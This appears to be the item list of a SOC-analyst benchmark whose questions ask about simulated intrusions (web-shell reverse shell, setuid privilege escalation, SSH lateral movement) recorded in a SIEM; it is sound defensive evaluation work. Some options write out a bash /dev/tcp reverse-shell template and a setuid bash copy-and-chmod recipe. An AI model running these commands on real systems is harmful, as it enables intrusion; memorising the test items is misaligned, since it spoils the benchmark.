You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
What mechanism established the reverse shell?
Options:
A. netcat with -e flag
B. A Python pty spawn
C. A bash interactive shell redirected over a /dev/tcp socket (`bash -i >& /dev/tcp/<ip>/<port>`)
D. An SSH tunnel
Investigate, then answer. Give the option letter (A/B/C/...).
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c03-revshell-mechanism",
"case": "case-03-web-exploit-revshell",
"type": "mcq",
"difficulty": "medium",
"grading": "mcq",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c03-webshellcase-03-web-exploit-revshell — extraction question (easy).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
The attacker dropped a web shell on disk. Give its full file path.
Investigate, then answer. Give the single exact value.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c03-webshell",
"case": "case-03-web-exploit-revshell",
"type": "extraction",
"difficulty": "easy",
"grading": "exact_ci",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c03-webtoolscase-03-web-exploit-revshell — set question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
From the nginx access logs, name the offensive web tools/signatures the attacker (204.168.178.42) used against the web server, based on the User-Agent strings.
Investigate, then answer. Give a comma-separated list of all items.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c03-webtools",
"case": "case-03-web-exploit-revshell",
"type": "set",
"difficulty": "medium",
"grading": "set_f1",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c04-already-rootcase-04-privesc — mcq question (hard).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
The implant lineage was already running as root. What is the most accurate interpretation of these SUID/GTFOBins actions?
Options:
A. They are harmless because root can do anything anyway
B. They prove the attacker started as a low-privileged user and escalated to root
C. They indicate a kernel exploit
D. The actor was already root; these are privilege-escalation TTPs/artifacts (e.g., a persistent setuid-root shell) that a SOC must still detect and remediate
Investigate, then answer. Give the option letter (A/B/C/...).
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c04-already-root",
"case": "case-04-privesc",
"type": "mcq",
"difficulty": "hard",
"grading": "mcq",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c04-antiforensicscase-04-privesc — boolean question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
After using the setuid shell, did the attacker attempt to remove the /tmp/.rootbash artifact from disk (anti-forensics)?
Investigate, then answer. Answer yes or no.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c04-antiforensics",
"case": "case-04-privesc",
"type": "boolean",
"difficulty": "medium",
"grading": "boolean",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c04-attckcase-04-privesc — labeling question (hard).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Map this case to MITRE ATT&CK technique IDs (setuid/setgid abuse, sudo abuse, discovery).
Investigate, then answer. Give a comma-separated list.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c04-attck",
"case": "case-04-privesc",
"type": "labeling",
"difficulty": "hard",
"grading": "set_f1",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c04-binary-copy-alertcase-04-privesc — extraction question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Copying /bin/bash to /tmp/.rootbash triggered a critical detection alert. What is that alert's rule name?
Investigate, then answer. Give the single exact value.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c04-binary-copy-alert",
"case": "case-04-privesc",
"type": "extraction",
"difficulty": "medium",
"grading": "exact_ci",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c04-gtfobinscase-04-privesc — set question (hard).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Besides the setuid shell, the attacker abused two trusted binaries GTFOBins-style to run commands via sudo. Which two binaries?
Investigate, then answer. Give a comma-separated list of all items.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c04-gtfobins",
"case": "case-04-privesc",
"type": "set",
"difficulty": "hard",
"grading": "set_f1",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c04-severity-calibrationcase-04-privesc — mcq question (hard).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
The `chmod 4755 /tmp/.rootbash` step (setting the setuid bit on a copy of bash in a world-writable dir) only raised a LOW-severity alert ('File Permission Modification in Writable Directory'). Is low severity an appropriate final triage for that specific action?
Options:
A. No — creating a setuid-root shell is a high-severity privilege-escalation artifact; the low alert under-rates it and the analyst should escalate (note the companion 'System Binary Copied or Moved' critical alert)
B. It should be dismissed as a false positive
C. It doesn't matter, the file was deleted
D. Yes — chmod is routine, low is correct
Investigate, then answer. Give the option letter (A/B/C/...).
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c04-severity-calibration",
"case": "case-04-privesc",
"type": "mcq",
"difficulty": "hard",
"grading": "mcq",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c04-suid-artifactcase-04-privesc — extraction question (easy).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
The attacker created a setuid-root shell on disk. Give its full path.
Investigate, then answer. Give the single exact value.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c04-suid-artifact",
"case": "case-04-privesc",
"type": "extraction",
"difficulty": "easy",
"grading": "exact_ci",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c04-suid-howcase-04-privesc — mcq question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
How did the attacker build the setuid-root shell?
Options:
A. Replaced /bin/su
B. Compiled a C program with setuid()
C. Edited /etc/sudoers
D. Copied /bin/bash to /tmp/.rootbash and set the setuid bit with `chmod 4755`, then ran it with `-p`
Investigate, then answer. Give the option letter (A/B/C/...).
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c04-suid-how",
"case": "case-04-privesc",
"type": "mcq",
"difficulty": "medium",
"grading": "mcq",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c05-access-methodcase-05-lateral-movement — mcq question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
How did the attacker authenticate to the target host over SSH?
Options:
A. Used a pre-staged SSH private key (`ssh -i /tmp/.lat_key`) — key-based auth
B. Brute-forced the root password
C. Used a Kerberos ticket
D. Exploited an SSH CVE
Investigate, then answer. Give the option letter (A/B/C/...).
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c05-access-method",
"case": "case-05-lateral-movement",
"type": "mcq",
"difficulty": "medium",
"grading": "mcq",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c05-attckcase-05-lateral-movement — labeling question (hard).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Map the OBSERVABLE lateral-movement activity to MITRE ATT&CK technique IDs (remote services SSH, use of private key).
Investigate, then answer. Give a comma-separated list.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c05-attck",
"case": "case-05-lateral-movement",
"type": "labeling",
"difficulty": "hard",
"grading": "set_f1",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c05-correlation-ipcase-05-lateral-movement — extraction question (hard).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
What single source IP address links the two hosts into one intrusion (it appears as the outbound-SSH source on ubuntu-2404-noble-amd64-base and as an inbound-SSH source on attacktrace)?
Investigate, then answer. Give the single exact value.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c05-correlation-ip",
"case": "case-05-lateral-movement",
"type": "extraction",
"difficulty": "hard",
"grading": "exact_ci",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c05-credcase-05-lateral-movement — extraction question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
What credential/key did the attacker use for the SSH lateral movement? Give the key file path seen on the command line.
Investigate, then answer. Give the single exact value.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c05-cred",
"case": "case-05-lateral-movement",
"type": "extraction",
"difficulty": "medium",
"grading": "exact_ci",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c05-discriminatorcase-05-lateral-movement — mcq question (hard).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
attacktrace (a public server) accepted inbound SSH connections from four IPs in this window: 135.181.180.110, 77.247.126.189, 103.166.10.244, 51.75.141.245. Only one is the malicious lateral movement; the others are internet scanning noise. Which one, and why?
Options:
A. All four are the same actor
B. 135.181.180.110 — it is the public IP of the already-compromised host ubuntu-2404-noble-amd64-base, from which an `ssh -i /tmp/.lat_key` was launched to attacktrace
C. 77.247.126.189 — highest port count
D. 51.75.141.245 — it logged in last
Investigate, then answer. Give the option letter (A/B/C/...).
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c05-discriminator",
"case": "case-05-lateral-movement",
"type": "mcq",
"difficulty": "hard",
"grading": "mcq",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c05-neg-scannoisecase-05-lateral-movement — boolean question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Are the inbound SSH connections to attacktrace from 77.247.126.189, 103.166.10.244, and 51.75.141.245 part of this intrusion?
Investigate, then answer. Answer yes or no.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c05-neg-scannoise",
"case": "case-05-lateral-movement",
"type": "boolean",
"difficulty": "medium",
"grading": "boolean",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c05-reconcase-05-lateral-movement — set question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
After landing on attacktrace, what reconnaissance commands did the attacker run?
Investigate, then answer. Give a comma-separated list of all items.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c05-recon",
"case": "case-05-lateral-movement",
"type": "set",
"difficulty": "medium",
"grading": "set_f1",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c05-scopecase-05-lateral-movement — extraction question (easy).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Counting both the original victim and the lateral target, how many hosts are compromised in this intrusion?
Investigate, then answer. Give the single exact value.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c05-scope",
"case": "case-05-lateral-movement",
"type": "extraction",
"difficulty": "easy",
"grading": "exact_ci",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c05-source-hostcase-05-lateral-movement — extraction question (easy).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Which host initiated the lateral movement (the already-compromised source)?
Investigate, then answer. Give the single exact value.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c05-source-host",
"case": "case-05-lateral-movement",
"type": "extraction",
"difficulty": "easy",
"grading": "exact_ci",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c05-target-hostcase-05-lateral-movement — extraction question (easy).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Which host was the lateral-movement target (the second host compromised)?
Investigate, then answer. Give the single exact value.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c05-target-host",
"case": "case-05-lateral-movement",
"type": "extraction",
"difficulty": "easy",
"grading": "exact_ci",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-x-attacker-ipcross-case — extraction question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Across all five cases, what single external IP is the common command-and-control / attacker infrastructure?
Investigate, then answer. Give the single exact value.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-x-attacker-ip",
"case": "cross-case",
"type": "extraction",
"difficulty": "medium",
"grading": "exact_ci",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-x-containmentcross-case — set question (hard).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Give the key containment actions for this intrusion (what to block, which hosts to isolate, which artifacts/persistence to remove).
Investigate, then answer. Give a comma-separated list of all items.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-x-containment",
"case": "cross-case",
"type": "set",
"difficulty": "hard",
"grading": "set_f1",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-x-hostscross-case — set question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Which hosts are compromised in this intrusion? List their names.
Investigate, then answer. Give a comma-separated list of all items.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-x-hosts",
"case": "cross-case",
"type": "set",
"difficulty": "medium",
"grading": "set_f1",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-x-implantcross-case — extraction question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
What single on-host implant binary is the common root process behind the recon, exfiltration, web-shell, privilege-escalation and lateral-movement activity on ubuntu-2404-noble-amd64-base?
Investigate, then answer. Give the single exact value.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-x-implant",
"case": "cross-case",
"type": "extraction",
"difficulty": "medium",
"grading": "exact_ci",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-x-iocs-fullcross-case — set question (hard).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Enumerate the full IOC set for this intrusion across all cases: malicious files and the attacker IP.
Investigate, then answer. Give a comma-separated list of all items.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-x-iocs-full",
"case": "cross-case",
"type": "set",
"difficulty": "hard",
"grading": "set_f1",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-x-killchain-ordercross-case — ordering question (hard).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
